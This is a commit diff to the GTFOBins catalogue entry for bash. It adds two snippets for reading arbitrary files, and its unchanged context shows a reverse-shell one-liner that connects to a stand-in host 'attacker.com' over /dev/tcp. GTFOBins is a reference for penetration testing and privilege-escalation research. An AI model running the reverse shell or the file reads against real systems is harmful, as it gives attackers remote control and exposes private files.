Add read/write for ash, bash, csh, dash, ed, and emacs

_gtfobins/bash.md

@@ -40,4 +40,13 @@ functions:
         export RHOST=attacker.com
         export RPORT=12345
         bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
+  file-read: 
+    - description: It trims trailing newlines.
+      code: |
+        export LFILE=file_to_read
+        bash -c 'echo "$(<$LFILE)"'
+    - description: It trims trailing newlines.
+      code: |
+        export LFILE=file_to_read
+        bash -c $'read -d \x04 a < "$LFILE"; echo "$a"'
 ---